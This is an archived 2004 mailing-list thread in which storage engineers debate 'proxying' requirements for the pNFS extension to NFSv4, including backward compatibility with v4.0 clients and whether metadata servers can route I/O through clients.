created the ""proxying through the client"" idea... Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Monday, January 19, 2004 6:23 PM >To: pnfs-reqs@yahoogroups.com >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dean Hildebrand wrote: >> I think relying on clients to do anything correctly is against the >> inherent nature of NFS. Clients in NFS are transient and cannot be >> trusted to do anything correctly. Therefore, the metadata >server should >> find its own way to write data to the data servers without relying on >> clients. If proxying through a client is optional, it still seems >> orthogonal to the behavior of existing installations and the >spirit of >> NFS. Maybe there is a valid use case someone could describe? > >I'm now totally confused. Before we talk about use cases for ""proxying >through a client"", I'd like to understand what it is. > >My understanding is that when this discussion started, a >number of people >were referring to a client writing data by sending a write to the meta- >data server (aka the NFS server) as ""proxying"", because, if >your view is >that the proper/best/ideal way of doing data transfer operations is to >obtain mapping information and then do a write to the data server (i.e. >other NFS server or object data server or SAN-connected disk), then >the direct NFS write can be seen as the meta-data server acting as the >client's proxy. Is my understanding correct? > >No matter how you come down on the quesion of the desirability of that, >I don't think there any way to argue that doing a write by sending an >NFS write request to an NFS server is against the inherent nature of >NFS. Nor does it ask the client do anything correctly that it hasn't >been doing all along. > >At some point the phrase ""proxying through the client"" was used and I >realize I don't know what is meant by it. It doesn't seem to match >the ""proxying"" that was being discussed originally. How would the >client be a proxy for (presumably) the server? What am I missing? > >-----Original Message----- >From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >Sent: Monday, January 19, 2004 5:13 PM >To: pNFS Requirements >Cc: pNFS Operations >Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >> > [1.1.2 Functional proxying]: a file transformation >achievable by an >> > NFS-v4.x client using a set of data server operations must be a >> > equivalently achievable using a (probably different) set >of NFS-v4.x >> > server operations >> > >> > This is the topic I intended to address in the last email. > I believe >> > Dave is arguing that even with metadata servers that do >not have access >> > to their data servers, the vendor of such a metadata server can >> > construct a proprietary protocol for the metadata server >to (strict) >> > proxy data server accesses through clients that do have >data server >> > access. I am not comfortable making up a counter to this, >so I exhort >> > those that want a metadata server without data server >access to speak >> > up if they disagree. >> > >> > > On one hand, some suggest that a set of out-of-band >clients should not >> >> > > have to also have a data path through the NFSv4 metadata >server. One >> > > reason is that customers may not tolerate the large >variability in >> > > performance between out-of-band (when the going is good) >and in-band >> > > (when the server chooses not to grant or to take away a >delegation) >> > > accesses. Another reason, and I paraphrase someone else >here, is that >> >> > > it is possible to construct out-of-band metadata servers >that do not >> > > have access to the data servers except through the clients -- I >> > > encourage the source of this scenario to replace my >paraphrasing with >> > > a correct use case, because I find it odd to design for >file servers >> > > that do not have access to the data servers. >> > > >> > > On the other hand, others have suggested that any access >or work that >> > > a client can do out-of-band should be possible with one or more >> > > commands applied to the metadata server's data path. >This has been >> > > proposed for coping with recalled delegations, including >concurrent >> > > writing by multiple clients; retry after client access errors, >> > > provided adequate idempotency of out-of-band operations; >and many >> > > alternative implementations of out-of-band clients, >including legacy >> > > clients that use out-of-band never or rarely. >> > > >> > > I think this is a topic that should be argued one way or >the other in >> > > the requirements document. Use cases and examples in >other systems >> > > would be best. >> > >> >> I guess that proxying through a client should be recomended but not >> mandated. >> We might the want to find how to do it while respecting restrictions >> removed the metadata server from the path. > >I think relying on clients to do anything correctly is against the >inherent nature of NFS. Clients in NFS are transient and cannot be >trusted to do anything correctly. Therefore, the metadata >server should >find its own way to write data to the data servers without relying on >clients. If proxying through a client is optional, it still seems >orthogonal to the behavior of existing installations and the spirit of >NFS. Maybe there is a valid use case someone could describe? > >Dean > > > > > >Yahoo! Groups Links > >To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > >To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > >Your use of Yahoo! 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Groups is subject to: > http://docs.yahoo.com/info/terms/ > > >From dnoveck@netapp.com Mon Jan 19 15:32:39 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 75759 invoked from network); 19 Jan 2004 23:32:37 -0000 Received: from unknown (66.218.66.167) by m1.grp.scd.yahoo.com with QMQP; 19 Jan 2004 23:32:37 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta6.grp.scd.yahoo.com with SMTP; 19 Jan 2004 23:32:37 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0JNWaKw009351; Mon, 19 Jan 2004 15:32:37 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0JNWaSR007663; Mon, 19 Jan 2004 15:32:36 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----_=_NextPart_001_01C3DEE4.8419B3E0"" X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Mon, 19 Jan 2004 15:32:34 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 Thread-Index: AcPeaTkQQwHlD+iITeOyPo50R1swWAAZbAXA To: , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck ADVERTISEMENT Julian Satran wrote: > ""Noveck, Dave"" wrote on 30/12/2003 22:08:02: > > It seems legal to me but I'm guessing that there are others that would > > think differently. > > > I tend to think that it is not a good idea, though. There are going > > to be operations which, by their nature, are better done through the > > metadata server. A two-byte write which span s multiple data servers > > is an example. Another is append-writes, which have been mentioned > > (by whom I don't remember just now) as a desirable v4 extension, > > assuming the data to be written is of reasonable size. In each case, > > we may create appropriate caching/locking primitives to allow the > > operation to be done without making any request of the metadata server > > that is officially denominated an ""IO"" request. But can you really > > argue that this will be the best way for the client to do such > > operations? And does it really make sense to force clients to invest > > the effort in terms of the code do such operations doing the IO with > > the data server only, when the performance benefit of that is going to > > be small, or zero, or negative? You may wind up making as many > > requests of the meta-data server with the data-server-only approach. > > It's just that they won't be IO operations (but instead locking and, > > in the case of append, getattr operations). > This can be argued both ways. For applications that share little and > build files by append (all transaction loggers) doing them on the client > is a distinct advantage. If you are talking about a situation in which there is little sharing then the clients are going to have exclusive delegations for the files that they are appending to, in which case the append write feature is not really being used. The client is best advised to simply gather up its writes and write the whole file at once (or the part that it wrote until its delegation is recalled). But in either of those cases, it knows the eof of the file and can write to a specific offset and thus is not depending on the fact that you have a write-append feature. Clients that are doing those writes in this situation may indeed wind up being more efficient writing to the data server, but in other situations, where there is sharing, things will be different. This can be argued any number of ways depending on details of the implementation, and applications. The original concept here was that someone can decide in advance that using the data server is better than using the metadata server to the point that use of the metadata server to do IO can be *prohibited*. The fact that this is a complicated issue seems to me to argue strongly against that sort of approach. > And so iit is for object storage that supports append. This will depend on the details of the protocol as it evolves. I had expected that EOF would be something that is managed by the metadata server. As you point out, with object storage, it can be managed by the data server (and you could probably do the same with the parallel-file option). This gets to an important issue for this effort that we will be coming back to again and again: how much advantage to take of specific features of some data storage methods that are not shared by all. I don't see any general principle that is going to work for this all the time. We are going to have to decide on a case-by-case basis. -----Original Message----- From: Julian Satran [mailto:julian_satran@il.ibm.com] Sent: Monday, January 19, 2004 3:48 AM To: pnfs-reqs@yahoogroups.com Cc: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com Subject: Re: [pnfs-reqs] RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 ""Noveck, Dave"" wrote on 30/12/2003 22:08:02: > It seems legal to me but I'm guessing that there are others that would > think differently. > > I tend to think that it is not a good idea, though. There are going > to be operations which, by their nature, are better done through the > metadata server. A two-byte write which spans multiple data servers > is an example. Another is append-writes, which have been mentioned > (by whom I don't remember just now) as a desirable v4 extension, > assuming the data to be written is of reasonable size. In each case, > we may create appropriate caching/locking primitives to allow the > operation to be done without making any request of the metadata server > that is officially denominated an ""IO"" request. But can you really > argue that this will be the best way for the client to do such > operations? And does it really make sense to force clients to invest > the effort in terms of the code do such operations doing the IO with > the data server only, when the performance benefit of that is going to > be small, or zero, or negative? You may wind up making as many > requests of the meta-data server with the data-server-only approach. > It's just that they won't be IO operations (but instead locking and, > in the case of append, getattr operations). > This can be argued both ways. For applications that share little and build files by append (all transaction loggers) doing them on the client is a distinct advantage. And so iit is for object storage that supports append. > In complicated protocols (and v4 is a complicated protocol and is > getting more complicated), there are going to be multiple ways of > doing the same thing, which are going to differ in their performance > characteristics. An organization can be reasonably concerned about > clients making the wrong choice, just as it is concerned about clients > that are making excessive resource demands for other reasons. There > are two issues that I am worried about in taking such a drastic > approach as simply refusing to support a valid piece of the protocol, > even if that choice is made by the server administrator. The first is > that determining the better choice depends on a lot of variables and > that a simple formula governing an option (e.g. ""IO through the > metadata server is bad"") is unlikely to completely match reality. The > second is that I-don't-like-your-IO-request-so-you-lose is kind of a > blunt instrument to deal with the problem. > I don't think this is a big issue or that the scenario I describe will be widely used but with Object Storage you may not have (or need to very often) a channel between the metadata server and the data servers. This partial access scheme may be maintained also in block environments or federated filers for various reasons (security may be one - you don't trust your administrator with all the data). > If you have identified some set of bad client practices, you can find > the clients doing them, report the appropriate statistics, even, if > the issue is critical, artificially give such clients (or specific > requests) bad performance in a way that doesn't hurt other clients > (unless they are waiting for the first set to do something. Sigh!), > by just delaying processing of their requests by millisecond or two. > That should be enough to preserve metadata-server bandwidth for more > worthwhile purposes. If that's insufficiently discouraging, you can > raise the delay. If you start rejecting requests because you would > have done it differently, even if you are correct, you are on the road > to creating your own sub-protocol, which is why this kind of thing is > worrying, even if legal. > > > -----Original Message----- > From: Julian Satran [mailto:julian_satran@il.ibm.com] > Sent: Monday, December 22, 2003 5:26 AM > To: pnfs-ops@yahoogroups.com > Cc: pnfs-ops@yahoogroups.com; pnfs-reqs@yahoogroups.com > Subject: RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 > > Since I raised the issue of the metadata server not having access to > all it's data servers (or at least not with adequate bandwidth) I feel > compelled to say that Dave's arguments about supporting 4.0 are > compelling enough to make it mandatory. The open issue is if it is > legal for a ""compliant server"" to have serving data disabled by a > local administrative function (the old ""must implement but may use""). > Otherwise an organization that wants to discourage use of data serving > through the metadata server has very little it can do to enforce > policy in a way that will not affect other clients (it may do serve > poorly but this still affects other clients). > > Julo > > > ""Noveck, Dave"" > 18/12/2003 19:21 > > Please respond to > pnfs-ops@yahoogroups.com > > To > > , > > cc > > Subject > > RE: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03 > > > > > Good summary. > > I want to address the ""proxying"" issue. > > > [1.1 Proxying]: Operations/work that can only be done out-of-band vs > > alternative access through the NFSv4 server for all operations/work > > If you are talking about operations in the extension (let's call it > NFS-v4.x), that are not in the previous minor version (let's assume > that is nfs-v4.1), then you have a choice of whether these are supported > for access through the server, or only for access by the client with the > data server. Let's call this the issue of proxying in the strict sense. > > There is another issue that people are calling ""proxying"" but is really > logically distinct. That is the issue of access by the previous minor > version, e.g. nfs-v4.0 or nfs-v4.1. Those versions have no concept of > separate data servers and they need to be able to work. End of story. > If you can't read files stored in nfs-v4.x with nfs-v4.0, you do not > have a minor version without proxying. You don't have a minor version > at all. I believe the working group is never going to accept that. > Even if I'm wrong and you can get the working group to accept that, > it is going to be very contentious and thus take up a lot of time. > Anybody, who really wants to go down this path should seriously consider > the trade-off between supporting something they find objectionable and > getting a standard a lot later, if at all. > > > On one hand, some suggest that a set of out-of-band clients should not > > have to also have a data path through the NFSv4 metadata server. One > > reason is that customers may not tolerate the large variability in > > performance between out-of-band (when the going is good) and in-band > > (when the server chooses not to grant or to take away a delegation) > > accesses. > > Then such customers will use clients that access things out-of-band > whenever possible, and servers that never refuse to give out layout > delegations. You have a number of quality-of-implementations issues > for v4.x clients and servers. If a particular client only supports > access via v4.0, then performance will suck, and the working group > will understand that, but it won't accept not being able to use > v4.0 at all. The customer is going to be motivated to upgrade his > clients for those that need high-performance access, but he may be > OK with some clients using v4.0 for a long time, depending on the > particular performance those clients need. (And some will want v2/v3 > access but that is a matter that the working group has no say about). > > > Another reason, and I paraphrase someone else here, is that > > it is possible to construct out-of-band metadata servers that do not > > have access to the data servers except through the clients -- I > > encourage the source of this scenario to replace my paraphrasing with a > > correct use case, because I find it odd to design for file servers that > > do not have access to the data servers. > > So let's grant that it is possible (and we'll pass over the issue of > whether it is desirable, and in fact so desirable that one is willing to > not get a standard and or get it much later). > > So we have a metadata server and it, for whatever reason, does not have > access to the data servers. However, by hypothesis, there are machines > (e.g. clients), that can communicate with both. So, if one has such an > architecture, then one can take such a machine, give it a communication path > to the meta-data server and the data server and have the meta-data server > transfer v4.0 READ requests to it, let it read the data from the data > server and send it back to the meta-data server who send it back to the > original requestor. Is that a very good solution? No. Is it likely > to be performant? No. Will it satisfy any particular customer? I don't > know and that is the implementer's business decision. Will it satisfy > the hypothetical customer who doesn't care about v4.0 access? Clearly. > Will it satisfy the v4 working group? Yes, because they are not in the > business of telling you how performant v4.0 access has got to be. > > > On the other hand, others have suggested that any access or work that a > > client can do out-of-band should be possible with one or more commands > > applied to the metadata server's data path. This has been proposed for > > coping with recalled delegations, including concurrent writing by > > multiple clients; retry after client access errors, provided adequate > > idempotency of out-of-band operations; and many alternative > > implementations of out-of-band clients, including legacy clients that > > use out-of-band never or rarely. > > This effort is going to take a while, but if we manage it correctly, it > is not going to take so long that v3 clients are going to be rare things, > and they have to be supported. But v3 clients are not an issue for the > working group. V4.0 clients are and they will be around and you will > have to support them, and I believe the working group is not going to > be disposed to cut you a lot of slack on this issue (and I don't see > why it should). > > > I think this is a topic that should be argued one way or the other in > > the requirements document. Use cases and examples in other systems > > would be best. > > I think the requirement should be that this work should be done as a > set of extensions to nfs-v4 delivered as a v4 minor version. If there > is some feature/requirement that conflicts with that model (and it is a > pretty flexible one), then you have to think long and hard before deciding > that that requirement is more important than this basic deivery vehicle, > because it seems to me that it is, in almost all respects, the ideal way > to make this sort of technology available for widespread use. > > > > > > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > > > Yahoo! Groups Links > > To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-ops/ > > To unsubscribe from this group, send an email to: > pnfs-ops-unsubscribe@yahoogroups.com > > Your use of Yahoo! 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Terms of Service. >From garth@panasas.com Mon Jan 19 16:15:32 2004 Return-Path: X-Sender: garth@panasas.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 70221 invoked from network); 20 Jan 2004 00:15:28 -0000 Received: from unknown (66.218.66.217) by m20.grp.scd.yahoo.com with QMQP; 20 Jan 2004 00:15:28 -0000 Received: from unknown (HELO PIKES.panasas.com) (65.194.124.178) by mta2.grp.scd.yahoo.com with SMTP; 20 Jan 2004 00:15:26 -0000 Received: from [172.17.2.81] ([172.17.2.81]) by PIKES.panasas.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SVSYKMAZ; Mon, 19 Jan 2004 19:15:24 -0500 In-Reply-To: <30489F1321F5C343ACF6872B2CF7942A05D3879D@PIKES.panasas.com> References: <30489F1321F5C343ACF6872B2CF7942A05D3879D@PIKES.panasas.com> Mime-Version: 1.0 (Apple Message framework v609) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: pNFS Operations Date: Mon, 19 Jan 2004 19:15:22 -0500 To: pnfs-reqs@yahoogroups.com X-Mailer: Apple Mail (2.609) X-eGroups-Remote-IP: 65.194.124.178 From: Garth Gibson Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/0 3: subtopic: proxying X-Yahoo-Group-Post: member; u=169457820 X-Yahoo-Profile: garth_a_gibson I think there are multiple issues being reviewed here. First, what I called Functional Proxying is what Dave Noveck understands :-) It is a safety valve for clients that don't want to, can't, or think it is slower to directly access the leaf storage server. In this case a client can always accomplish any legal file system state transformation using NFSv4 operations on the metadata server. For the other scenario, I believe it was Julian Satran who mentioned that IBM has considered situations where the metadata server does not have good access, if any, to the storage devices directly. For example, FC disks connected to all clients with FC NICs, and a metadata server connected to clients via Ethernet and not connected to FC at all. In this case, the metadata wants all, or almost all, accesses to be direct from client to storage. It was in this context that it was mentioned that a client could proxy a command from a metadata server to storage. > Since I raised the issue of the metadata server not having access to > all it's data servers (or at least not with adequate bandwidth) I feel > compelled to say that Dave's arguments about supporting 4.0 are > compelling enough to make it mandatory. The open issue is if it is > legal for a ""compliant server"" to have serving data disabled by a > local administrative function (the old ""must implement but may use""). > Otherwise an organization that wants to discourage use of data serving > through the metadata server has very little it can do to enforce > policy in a way that will not affect other clients (it may do serve > poorly but this still affects other clients). > Julo > I guess that proxying through a client should be recomended but not > mandated. > We might the want to find how to do it while respecting restrictions > removed the metadata server from the path. > Julo My guess is that Dean is worried that a metadata server needs tighter control over storage than can be achieved by asking a client to do work on its behalf, in a trust model where clients are not trusted at the same level as servers. Man-in-the-middle security attacks come to mind very easily. Channeling for Julian, while this is a valid issue for clear text commands sent to untrusted clients, object storage has done command level digital signature things to ensure untrusted clients can't tamper, but denial of service remains a threat. My own take on this would be to say that the ""client proxy"" should be separated from the untrusted clients and pulled into the server trust domain, making it is logical node in the server's box. In this case the client proxying is an implementation artifact and we need not concern ourselves with it. Dave, Dean, Julian, please correct me if I am not representing your position correctly. garth ============================================================== On Jan 19, 2004, at 6:30 PM, Halevy, Benny wrote: > Dave Noveck wrote: >> At some point the phrase ""proxying through the client"" was used and I >> realize I don't know what is meant by it. It doesn't seem to match >> the ""proxying"" that was being discussed originally. How would the >> client be a proxy for (presumably) the server? What am I missing? > > I think it was you who suggested (maybe in a rhetorical way) that > when the metadata server is not capable of accessing the storage > it manages it should still be able to perform I/O using a client. > Maybe this created the ""proxying through the client"" idea... > > Benny > >> -----Original Message----- >> From: Noveck, Dave [mailto:dnoveck@netapp.com] >> Sent: Monday, January 19, 2004 6:23 PM >> To: pnfs-reqs@yahoogroups.com >> Cc: pNFS Operations >> Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >> 12/18/03: subtopic: proxying >> >> >> Dean Hildebrand wrote: >>> I think relying on clients to do anything correctly is against the >>> inherent nature of NFS. Clients in NFS are transient and cannot be >>> trusted to do anything correctly. Therefore, the metadata server >>> should >>> find its own way to write data to the data servers without relying on >>> clients. If proxying through a client is optional, it still seems >>> orthogonal to the behavior of existing installations and the spirit >>> of >>> NFS. Maybe there is a valid use case someone could describe? >> >> I'm now totally confused. Before we talk about use cases for >> ""proxying >> through a client"", I'd like to understand what it is. >> >> My understanding is that when this discussion started, a number of >> people >> were referring to a client writing data by sending a write to the >> meta- >> data server (aka the NFS server) as ""proxying"", because, if your view >> is >> that the proper/best/ideal way of doing data transfer operations is to >> obtain mapping information and then do a write to the data server >> (i.e. >> other NFS server or object data server or SAN-connected disk), then >> the direct NFS write can be seen as the meta-data server acting as the >> client's proxy. Is my understanding correct? >> >> No matter how you come down on the quesion of the desirability of >> that, >> I don't think there any way to argue that doing a write by sending an >> NFS write request to an NFS server is against the inherent nature of >> NFS. Nor does it ask the client do anything correctly that it hasn't >> been doing all along. >> >> At some point the phrase ""proxying through the client"" was used and I >> realize I don't know what is meant by it. It doesn't seem to match >> the ""proxying"" that was being discussed originally. How would the >> client be a proxy for (presumably) the server? What am I missing? >> >> -----Original Message----- >> From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >> Sent: Monday, January 19, 2004 5:13 PM >> To: pNFS Requirements >> Cc: pNFS Operations >> Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >> 12/18/03: subtopic: proxying >> >> >>>> [1.1.2 Functional proxying]: a file transformation achievable by an >>>> NFS-v4.x client using a set of data server operations must be a >>>> equivalently achievable using a (probably different) set of NFS-v4.x >>>> server operations >>>> >>>> This is the topic I intended to address in the last email. I believe >>>> Dave is arguing that even with metadata servers that do not have >>>> access >>>> to their data servers, the vendor of such a metadata server can >>>> construct a proprietary protocol for the metadata server to (strict) >>>> proxy data server accesses through clients that do have data server >>>> access. I am not comfortable making up a counter to this, so I >>>> exhort >>>> those that want a metadata server without data server access to >>>> speak >>>> up if they disagree. >>>> >>>>> On one hand, some suggest that a set of out-of-band clients should >>>>> not >>> >>>>> have to also have a data path through the NFSv4 metadata server. >>>>> One >>>>> reason is that customers may not tolerate the large variability in >>>>> performance between out-of-band (when the going is good) and >>>>> in-band >>>>> (when the server chooses not to grant or to take away a delegation) >>>>> accesses. Another reason, and I paraphrase someone else here, is >>>>> that >>> >>>>> it is possible to construct out-of-band metadata servers that do >>>>> not >>>>> have access to the data servers except through the clients -- I >>>>> encourage the source of this scenario to replace my paraphrasing >>>>> with >>>>> a correct use case, because I find it odd to design for file >>>>> servers >>>>> that do not have access to the data servers. >>>>> >>>>> On the other hand, others have suggested that any access or work >>>>> that >>>>> a client can do out-of-band should be possible with one or more >>>>> commands applied to the metadata server's data path. This has been >>>>> proposed for coping with recalled delegations, including concurrent >>>>> writing by multiple clients; retry after client access errors, >>>>> provided adequate idempotency of out-of-band operations; and many >>>>> alternative implementations of out-of-band clients, including >>>>> legacy >>>>> clients that use out-of-band never or rarely. >>>>> >>>>> I think this is a topic that should be argued one way or the other >>>>> in >>>>> the requirements document. Use cases and examples in other systems >>>>> would be best. >>>> >>> >>> I guess that proxying through a client should be recomended but not >>> mandated. >>> We might the want to find how to do it while respecting restrictions >>> removed the metadata server from the path. >> >> I think relying on clients to do anything correctly is against the >> inherent nature of NFS. Clients in NFS are transient and cannot be >> trusted to do anything correctly. Therefore, the metadata >> server should >> find its own way to write data to the data servers without relying on >> clients. If proxying through a client is optional, it still seems >> orthogonal to the behavior of existing installations and the spirit of >> NFS. Maybe there is a valid use case someone could describe? >> >> Dean >> >From dnoveck@netapp.com Tue Jan 20 03:19:31 2004 Return-Path: X-Sender: Dave.Noveck@netapp.com X-Apparently-To: pnfs-reqs@yahoogroups.com Received: (qmail 21140 invoked from network); 20 Jan 2004 11:19:30 -0000 Received: from unknown (66.218.66.218) by m11.grp.scd.yahoo.com with QMQP; 20 Jan 2004 11:19:30 -0000 Received: from unknown (HELO mx01.netapp.com) (198.95.226.53) by mta3.grp.scd.yahoo.com with SMTP; 20 Jan 2004 11:19:30 -0000 Received: from hawk.corp.netapp.com (hawk [10.57.156.122]) by mx01.netapp.com (8.12.10/8.12.10/NTAP-1.4) with ESMTP id i0KBJPKw001618; Tue, 20 Jan 2004 03:19:25 -0800 (PST) Received: from svlexc01.hq.netapp.com (svlexc01.corp.netapp.com [10.10.22.171]) by hawk.corp.netapp.com (8.12.9/8.12.9/NTAP-1.5) with ESMTP id i0KBJPSR013716; Tue, 20 Jan 2004 03:19:25 -0800 (PST) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Tue, 20 Jan 2004 03:19:20 -0800 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Thread-Index: AcPe5E3+ne+ylrX4RNKlmGvjXmcMYwAXzstw To: , X-eGroups-Remote-IP: 198.95.226.53 X-eGroups-From: ""Noveck, Dave"" From: ""Noveck, Dave"" Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying X-Yahoo-Group-Post: member; u=44152831 X-Yahoo-Profile: davidnoveck You may be right about the origin of this but I did not suggest that *NFS clients* take part when IO was done in this way. When considering a situation in which there was no direct connection between the meta-data server and the data server, I did note that there was a large set of machines that had a connection to both, making it possible/easy to provide a connection between meta-data server and data server, albeit indirect. While it is true that that large class of machines can have NFS clients running on them (and many will), I don't think it is a good idea to place the burden of effecting this communication (to help servers without a direct communications path) on the clients. This is as opposed to a server using the same hardware that a client would use to effect an indirect communication path, which seems quite reasonable to me, but does not affect the client-server protocol. In addition to the reasons that Dean cites for finding this troublesome, let me add one more. Suppose we have IO from a v4.0 client, necessitating access by the meta-data server to the data server. If that function were imposed as a requirement on v4.x clients, then how do you deal with the case in which no v4.x clients are functioning? Previous V4 minor versions should just work and making them dependent on v4.x clients is not going to fly. The server has to support v4.0 and can use the same hardware as clients and much of the same software, but effecting the necessary communication is part of the server's responsibility. -----Original Message----- From: Halevy, Benny [mailto:bhalevy@panasas.com] Sent: Monday, January 19, 2004 6:31 PM To: 'pnfs-reqs@yahoogroups.com' Cc: pNFS Operations Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: 12/18/03: subtopic: proxying Dave Noveck wrote: >At some point the phrase ""proxying through the client"" was used and I >realize I don't know what is meant by it. It doesn't seem to match >the ""proxying"" that was being discussed originally. How would the >client be a proxy for (presumably) the server? What am I missing? I think it was you who suggested (maybe in a rhetorical way) that when the metadata server is not capable of accessing the storage it manages it should still be able to perform I/O using a client. Maybe this created the ""proxying through the client"" idea... Benny >-----Original Message----- >From: Noveck, Dave [mailto:dnoveck@netapp.com] >Sent: Monday, January 19, 2004 6:23 PM >To: pnfs-reqs@yahoogroups.com >Cc: pNFS Operations >Subject: RE: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >Dean Hildebrand wrote: >> I think relying on clients to do anything correctly is against the >> inherent nature of NFS. Clients in NFS are transient and cannot be >> trusted to do anything correctly. Therefore, the metadata >server should >> find its own way to write data to the data servers without relying on >> clients. If proxying through a client is optional, it still seems >> orthogonal to the behavior of existing installations and the >spirit of >> NFS. Maybe there is a valid use case someone could describe? > >I'm now totally confused. Before we talk about use cases for ""proxying >through a client"", I'd like to understand what it is. > >My understanding is that when this discussion started, a >number of people >were referring to a client writing data by sending a write to the meta- >data server (aka the NFS server) as ""proxying"", because, if >your view is >that the proper/best/ideal way of doing data transfer operations is to >obtain mapping information and then do a write to the data server (i.e. >other NFS server or object data server or SAN-connected disk), then >the direct NFS write can be seen as the meta-data server acting as the >client's proxy. Is my understanding correct? > >No matter how you come down on the quesion of the desirability of that, >I don't think there any way to argue that doing a write by sending an >NFS write request to an NFS server is against the inherent nature of >NFS. Nor does it ask the client do anything correctly that it hasn't >been doing all along. > >At some point the phrase ""proxying through the client"" was used and I >realize I don't know what is meant by it. It doesn't seem to match >the ""proxying"" that was being discussed originally. How would the >client be a proxy for (presumably) the server? What am I missing? > >-----Original Message----- >From: Dean Hildebrand [mailto:dhildebz@eecs.umich.edu] >Sent: Monday, January 19, 2004 5:13 PM >To: pNFS Requirements >Cc: pNFS Operations >Subject: Re: [pnfs-reqs] Re: [pnfs-ops] pNFS Discussion Summary 1: >12/18/03: subtopic: proxying > > >> > [1.1.2 Functional proxying]: a file transformation >achievable by an >> > NFS-v4.x client using a set of data server operations must be a >> > equivalently achievable using a (probably different) set >of NFS-v4.x >> > server operations >> > >> > This is the topic I intended to address in the last email. > I believe >> > Dave is arguing that even with metadata servers that do >not have access >> > to their data servers, the vendor of such a metadata server can >> > construct a proprietary protocol for the metadata server >to (strict) >> > proxy data server accesses through clients that do have >data server >> > access. I am not comfortable making up a counter to this, >so I exhort >> > those that want a metadata server without data server >access to speak >> > up if they disagree. >> > >> > > On one hand, some suggest that a set of out-of-band >clients should not >> >> > > have to also have a data path through the NFSv4 metadata >server. One >> > > reason is that customers may not tolerate the large >variability in >> > > performance between out-of-band (when the going is good) >and in-band >> > > (when the server chooses not to grant or to take away a >delegation) >> > > accesses. Another reason, and I paraphrase someone else >here, is that >> >> > > it is possible to construct out-of-band metadata servers >that do not >> > > have access to the data servers except through the clients -- I >> > > encourage the source of this scenario to replace my >paraphrasing with >> > > a correct use case, because I find it odd to design for >file servers >> > > that do not have access to the data servers. >> > > >> > > On the other hand, others have suggested that any access >or work that >> > > a client can do out-of-band should be possible with one or more >> > > commands applied to the metadata server's data path. >This has been >> > > proposed for coping with recalled delegations, including >concurrent >> > > writing by multiple clients; retry after client access errors, >> > > provided adequate idempotency of out-of-band operations; >and many >> > > alternative implementations of out-of-band clients, >including legacy >> > > clients that use out-of-band never or rarely. >> > > >> > > I think this is a topic that should be argued one way or >the other in >> > > the requirements document. Use cases and examples in >other systems >> > > would be best. >> > >> >> I guess that proxying through a client should be recomended but not >> mandated. >> We might the want to find how to do it while respecting restrictions >> removed the metadata server from the path. > >I think relying on clients to do anything correctly is against the >inherent nature of NFS. Clients in NFS are transient and cannot be >trusted to do anything correctly. Therefore, the metadata >server should >find its own way to write data to the data servers without relying on >clients. If proxying through a client is optional, it still seems >orthogonal to the behavior of existing installations and the spirit of >NFS. Maybe there is a valid use case someone could describe? > >Dean > > > > > >Yahoo! Groups Links > >To visit your group on the web, go to: > http://groups.yahoo.com/group/pnfs-reqs/ > >To unsubscribe from this group, send an email to: > pnfs-reqs-unsubscribe@yahoogroups.com > >Your use of Yahoo! Groups is subject to: > http://docs.yahoo.com/info/terms/ > > > > > >------------------------ Yahoo! Groups Sponsor >---------------------~--> >Upgrade to 128-bit SSL Security! >http://us.click.yahoo.com/qZ0LdD/yjVHAA/TtwFAA/W6uqlB/TM >--------------------------------------------------------------- >------~-> > 